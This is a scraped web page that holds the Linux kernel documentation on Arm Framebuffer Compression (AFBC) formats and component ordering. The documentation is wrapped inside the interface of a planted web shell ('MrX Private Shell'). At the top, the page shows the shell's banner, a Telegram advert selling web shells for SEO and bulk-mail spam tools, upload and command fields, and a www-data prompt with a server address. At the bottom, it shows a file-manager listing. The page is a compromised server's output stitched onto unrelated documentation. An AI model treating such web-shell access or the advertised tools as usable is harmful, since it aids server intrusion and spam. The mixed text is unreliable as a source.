__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.52: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>Arm Framebuffer Compression (AFBC) &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="drm/komeda Arm display driver" href="komeda-kms.html" />
    <link rel="prev" title="Xe Configfs" href="xe/xe_configfs.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a><ul class="current">
<li class="toctree-l3"><a class="reference internal" href="../input/index.html">Input Documentation</a></li>
<li class="toctree-l3"><a class="reference internal" href="../hid/index.html">Human Interface Devices (HID)</a></li>
<li class="toctree-l3"><a class="reference internal" href="../sound/index.html">Sound Subsystem Documentation</a></li>
<li class="toctree-l3 current"><a class="reference internal" href="index.html">GPU Driver Developer’s Guide</a></li>
<li class="toctree-l3"><a class="reference internal" href="../fb/index.html">Frame Buffer</a></li>
<li class="toctree-l3"><a class="reference internal" href="../leds/index.html">LEDs</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/gpu/afbc.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="arm-framebuffer-compression-afbc">
<h1>Arm Framebuffer Compression (AFBC)<a class="headerlink" href="#arm-framebuffer-compression-afbc" title="Link to this heading">¶</a></h1>
<p>AFBC is a proprietary lossless image compression protocol and format.
It provides fine-grained random access and minimizes the amount of
data transferred between IP blocks.</p>
<p>AFBC can be enabled on drivers which support it via use of the AFBC
format modifiers defined in drm_fourcc.h. See DRM_FORMAT_MOD_ARM_AFBC(*).</p>
<p>All users of the AFBC modifiers must follow the usage guidelines laid
out in this document, to ensure compatibility across different AFBC
producers and consumers.</p>
<section id="components-and-ordering">
<h2>Components and Ordering<a class="headerlink" href="#components-and-ordering" title="Link to this heading">¶</a></h2>
<p>AFBC streams can contain several components - where a component
corresponds to a color channel (i.e. R, G, B, X, A, Y, Cb, Cr).
The assignment of input/output color channels must be consistent
between the encoder and the decoder for correct operation, otherwise
the consumer will interpret the decoded data incorrectly.</p>
<p>Furthermore, when the lossless colorspace transform is used
(AFBC_FORMAT_MOD_YTR, which should be enabled for RGB buffers for
maximum compression efficiency), the component order must be:</p>
<blockquote>
<div><ul class="simple">
<li><p>Component 0: R</p></li>
<li><p>Component 1: G</p></li>
<li><p>Component 2: B</p></li>
</ul>
</div></blockquote>
<p>The component ordering is communicated via the fourcc code in the
fourcc:modifier pair. In general, component ‘0’ is considered to
reside in the least-significant bits of the corresponding linear
format. For example, COMP(bits):</p>
<blockquote>
<div><ul class="simple">
<li><p>DRM_FORMAT_ABGR8888</p>
<ul>
<li><p>Component 0: R(8)</p></li>
<li><p>Component 1: G(8)</p></li>
<li><p>Component 2: B(8)</p></li>
<li><p>Component 3: A(8)</p></li>
</ul>
</li>
<li><p>DRM_FORMAT_BGR888</p>
<ul>
<li><p>Component 0: R(8)</p></li>
<li><p>Component 1: G(8)</p></li>
<li><p>Component 2: B(8)</p></li>
</ul>
</li>
<li><p>DRM_FORMAT_YUYV</p>
<ul>
<li><p>Component 0: Y(8)</p></li>
<li><p>Component 1: Cb(8, 2x1 subsampled)</p></li>
<li><p>Component 2: Cr(8, 2x1 subsampled)</p></li>
</ul>
</li>
</ul>
</div></blockquote>
<p>In AFBC, ‘X’ components are not treated any differently from any other
component. Therefore, an AFBC buffer with fourcc DRM_FORMAT_XBGR8888
encodes with 4 components, like so:</p>
<blockquote>
<div><ul class="simple">
<li><p>DRM_FORMAT_XBGR8888</p>
<ul>
<li><p>Component 0: R(8)</p></li>
<li><p>Component 1: G(8)</p></li>
<li><p>Component 2: B(8)</p></li>
<li><p>Component 3: X(8)</p></li>
</ul>
</li>
</ul>
</div></blockquote>
<p>Please note, however, that the inclusion of a “wasted” ‘X’ channel is
bad for compression efficiency, and so it’s recommended to avoid
formats containing ‘X’ bits. If a fourth component is
required/expected by the encoder/decoder, then it is recommended to
instead use an equivalent format with alpha, setting all alpha bits to
‘1’. If there is no requirement for a fourth component, then a format
which doesn’t include alpha can be used, e.g. DRM_FORMAT_BGR888.</p>
</section>
<section id="number-of-planes">
<h2>Number of Planes<a class="headerlink" href="#number-of-planes" title="Link to this heading">¶</a></h2>
<p>Formats which are typically multi-planar in linear layouts (e.g. YUV
420), can be encoded into one, or multiple, AFBC planes. As with
component order, the encoder and decoder must agree about the number
of planes in order to correctly decode the buffer. The fourcc code is
used to determine the number of encoded planes in an AFBC buffer,
matching the number of planes for the linear (unmodified) format.
Within each plane, the component ordering also follows the fourcc
code:</p>
<p>For example:</p>
<blockquote>
<div><ul class="simple">
<li><p>DRM_FORMAT_YUYV: nplanes = 1</p>
<ul>
<li><p>Plane 0:</p>
<ul>
<li><p>Component 0: Y(8)</p></li>
<li><p>Component 1: Cb(8, 2x1 subsampled)</p></li>
<li><p>Component 2: Cr(8, 2x1 subsampled)</p></li>
</ul>
</li>
</ul>
</li>
<li><p>DRM_FORMAT_NV12: nplanes = 2</p>
<ul>
<li><p>Plane 0:</p>
<ul>
<li><p>Component 0: Y(8)</p></li>
</ul>
</li>
<li><p>Plane 1:</p>
<ul>
<li><p>Component 0: Cb(8, 2x1 subsampled)</p></li>
<li><p>Component 1: Cr(8, 2x1 subsampled)</p></li>
</ul>
</li>
</ul>
</li>
</ul>
</div></blockquote>
</section>
<section id="cross-device-interoperability">
<h2>Cross-device interoperability<a class="headerlink" href="#cross-device-interoperability" title="Link to this heading">¶</a></h2>
<p>For maximum compatibility across devices, the table below defines
canonical formats for use between AFBC-enabled devices. Formats which
are listed here must be used exactly as specified when using the AFBC
modifiers. Formats which are not listed should be avoided.</p>
<table class="docutils align-default" id="id1">
<caption><span class="caption-text">AFBC formats</span><a class="headerlink" href="#id1" title="Link to this table">¶</a></caption>
<tbody>
<tr class="row-odd"><td><p>Fourcc code</p></td>
<td><p>Description</p></td>
<td><p>Planes/Components</p></td>
</tr>
<tr class="row-even"><td><p>DRM_FORMAT_ABGR2101010</p></td>
<td><p>10-bit per component RGB, with 2-bit alpha</p></td>
<td><dl class="simple">
<dt>Plane 0: 4 components</dt><dd><ul class="simple">
<li><p>Component 0: R(10)</p></li>
<li><p>Component 1: G(10)</p></li>
<li><p>Component 2: B(10)</p></li>
<li><p>Component 3: A(2)</p></li>
</ul>
</dd>
</dl>
</td>
</tr>
<tr class="row-odd"><td><p>DRM_FORMAT_ABGR8888</p></td>
<td><p>8-bit per component RGB, with 8-bit alpha</p></td>
<td><dl class="simple">
<dt>Plane 0: 4 components</dt><dd><ul class="simple">
<li><p>Component 0: R(8)</p></li>
<li><p>Component 1: G(8)</p></li>
<li><p>Component 2: B(8)</p></li>
<li><p>Component 3: A(8)</p></li>
</ul>
</dd>
</dl>
</td>
</tr>
<tr class="row-even"><td><p>DRM_FORMAT_BGR888</p></td>
<td><p>8-bit per component RGB</p></td>
<td><dl class="simple">
<dt>Plane 0: 3 components</dt><dd><ul class="simple">
<li><p>Component 0: R(8)</p></li>
<li><p>Component 1: G(8)</p></li>
<li><p>Component 2: B(8)</p></li>
</ul>
</dd>
</dl>
</td>
</tr>
<tr class="row-odd"><td><p>DRM_FORMAT_BGR565</p></td>
<td><p>5/6-bit per component RGB</p></td>
<td><dl class="simple">
<dt>Plane 0: 3 components</dt><dd><ul class="simple">
<li><p>Component 0: R(5)</p></li>
<li><p>Component 1: G(6)</p></li>
<li><p>Component 2: B(5)</p></li>
</ul>
</dd>
</dl>
</td>
</tr>
<tr class="row-even"><td><p>DRM_FORMAT_ABGR1555</p></td>
<td><p>5-bit per component RGB, with 1-bit alpha</p></td>
<td><dl class="simple">
<dt>Plane 0: 4 components</dt><dd><ul class="simple">
<li><p>Component 0: R(5)</p></li>
<li><p>Component 1: G(5)</p></li>
<li><p>Component 2: B(5)</p></li>
<li><p>Component 3: A(1)</p></li>
</ul>
</dd>
</dl>
</td>
</tr>
<tr class="row-odd"><td><p>DRM_FORMAT_VUY888</p></td>
<td><p>8-bit per component YCbCr 444, single plane</p></td>
<td><dl class="simple">
<dt>Plane 0: 3 components</dt><dd><ul class="simple">
<li><p>Component 0: Y(8)</p></li>
<li><p>Component 1: Cb(8)</p></li>
<li><p>Component 2: Cr(8)</p></li>
</ul>
</dd>
</dl>
</td>
</tr>
<tr class="row-even"><td><p>DRM_FORMAT_VUY101010</p></td>
<td><p>10-bit per component YCbCr 444, single plane</p></td>
<td><dl class="simple">
<dt>Plane 0: 3 components</dt><dd><ul class="simple">
<li><p>Component 0: Y(10)</p></li>
<li><p>Component 1: Cb(10)</p></li>
<li><p>Component 2: Cr(10)</p></li>
</ul>
</dd>
</dl>
</td>
</tr>
<tr class="row-odd"><td><p>DRM_FORMAT_YUYV</p></td>
<td><p>8-bit per component YCbCr 422, single plane</p></td>
<td><dl class="simple">
<dt>Plane 0: 3 components</dt><dd><ul class="simple">
<li><p>Component 0: Y(8)</p></li>
<li><p>Component 1: Cb(8, 2x1 subsampled)</p></li>
<li><p>Component 2: Cr(8, 2x1 subsampled)</p></li>
</ul>
</dd>
</dl>
</td>
</tr>
<tr class="row-even"><td><p>DRM_FORMAT_NV16</p></td>
<td><p>8-bit per component YCbCr 422, two plane</p></td>
<td><dl class="simple">
<dt>Plane 0: 1 component</dt><dd><ul class="simple">
<li><p>Component 0: Y(8)</p></li>
</ul>
</dd>
<dt>Plane 1: 2 components</dt><dd><ul class="simple">
<li><p>Component 0: Cb(8, 2x1 subsampled)</p></li>
<li><p>Component 1: Cr(8, 2x1 subsampled)</p></li>
</ul>
</dd>
</dl>
</td>
</tr>
<tr class="row-odd"><td><p>DRM_FORMAT_Y210</p></td>
<td><p>10-bit per component YCbCr 422, single plane</p></td>
<td><dl class="simple">
<dt>Plane 0: 3 components</dt><dd><ul class="simple">
<li><p>Component 0: Y(10)</p></li>
<li><p>Component 1: Cb(10, 2x1 subsampled)</p></li>
<li><p>Component 2: Cr(10, 2x1 subsampled)</p></li>
</ul>
</dd>
</dl>
</td>
</tr>
<tr class="row-even"><td><p>DRM_FORMAT_P210</p></td>
<td><p>10-bit per component YCbCr 422, two plane</p></td>
<td><dl class="simple">
<dt>Plane 0: 1 component</dt><dd><ul class="simple">
<li><p>Component 0: Y(10)</p></li>
</ul>
</dd>
<dt>Plane 1: 2 components</dt><dd><ul class="simple">
<li><p>Component 0: Cb(10, 2x1 subsampled)</p></li>
<li><p>Component 1: Cr(10, 2x1 subsampled)</p></li>
</ul>
</dd>
</dl>
</td>
</tr>
<tr class="row-odd"><td><p>DRM_FORMAT_YUV420_8BIT</p></td>
<td><p>8-bit per component YCbCr 420, single plane</p></td>
<td><dl class="simple">
<dt>Plane 0: 3 components</dt><dd><ul class="simple">
<li><p>Component 0: Y(8)</p></li>
<li><p>Component 1: Cb(8, 2x2 subsampled)</p></li>
<li><p>Component 2: Cr(8, 2x2 subsampled)</p></li>
</ul>
</dd>
</dl>
</td>
</tr>
<tr class="row-even"><td><p>DRM_FORMAT_YUV420_10BIT</p></td>
<td><p>10-bit per component YCbCr 420, single plane</p></td>
<td><dl class="simple">
<dt>Plane 0: 3 components</dt><dd><ul class="simple">
<li><p>Component 0: Y(10)</p></li>
<li><p>Component 1: Cb(10, 2x2 subsampled)</p></li>
<li><p>Component 2: Cr(10, 2x2 subsampled)</p></li>
</ul>
</dd>
</dl>
</td>
</tr>
<tr class="row-odd"><td><p>DRM_FORMAT_NV12</p></td>
<td><p>8-bit per component YCbCr 420, two plane</p></td>
<td><dl class="simple">
<dt>Plane 0: 1 component</dt><dd><ul class="simple">
<li><p>Component 0: Y(8)</p></li>
</ul>
</dd>
<dt>Plane 1: 2 components</dt><dd><ul class="simple">
<li><p>Component 0: Cb(8, 2x2 subsampled)</p></li>
<li><p>Component 1: Cr(8, 2x2 subsampled)</p></li>
</ul>
</dd>
</dl>
</td>
</tr>
<tr class="row-even"><td><p>DRM_FORMAT_P010</p></td>
<td><p>10-bit per component YCbCr 420, two plane</p></td>
<td><dl class="simple">
<dt>Plane 0: 1 component</dt><dd><ul class="simple">
<li><p>Component 0: Y(10)</p></li>
</ul>
</dd>
<dt>Plane 1: 2 components</dt><dd><ul class="simple">
<li><p>Component 0: Cb(10, 2x2 subsampled)</p></li>
<li><p>Component 1: Cr(10, 2x2 subsampled)</p></li>
</ul>
</dd>
</dl>
</td>
</tr>
</tbody>
</table>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/gpu/afbc.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
amdgpu Folder 0755
bridge Folder 0755
imagination Folder 0755
nova Folder 0755
rfc Folder 0755
xe Folder 0755
afbc.html File 18.3 KB 0644
automated_testing.html File 17.37 KB 0644
backlight.html File 46.97 KB 0644
driver-uapi.html File 465.42 KB 0644
drivers.html File 44.63 KB 0644
drm-client.html File 56.03 KB 0644
drm-compute.html File 10.65 KB 0644
drm-internals.html File 278.54 KB 0644
drm-kms-helpers.html File 2 MB 0644
drm-kms.html File 1.36 MB 0644
drm-mm.html File 1.03 MB 0644
drm-uapi.html File 236.88 KB 0644
drm-usage-stats.html File 20.29 KB 0644
drm-vm-bind-async.html File 28.12 KB 0644
drm-vm-bind-locking.html File 57.14 KB 0644
i915.html File 643.37 KB 0644
implementation_guidelines.html File 11.4 KB 0644
index.html File 131.32 KB 0644
introduction.html File 20.55 KB 0644
komeda-kms.html File 74.2 KB 0644
mcde.html File 10.4 KB 0644
meson.html File 16.81 KB 0644
msm-crash-dump.html File 9.44 KB 0644
msm-preemption.html File 11 KB 0644
nouveau.html File 12.63 KB 0644
panfrost.html File 9.98 KB 0644
panthor.html File 10.44 KB 0644
pl111.html File 9 KB 0644
tegra.html File 68.04 KB 0644
todo.html File 67.35 KB 0644
tve200.html File 8.64 KB 0644
v3d.html File 11.2 KB 0644
vc4.html File 19.26 KB 0644
vga-switcheroo.html File 65.4 KB 0644
vgaarbiter.html File 35.58 KB 0644
vkms.html File 18.06 KB 0644
xen-front.html File 10.71 KB 0644
zynqmp.html File 135.56 KB 0644
Filemanager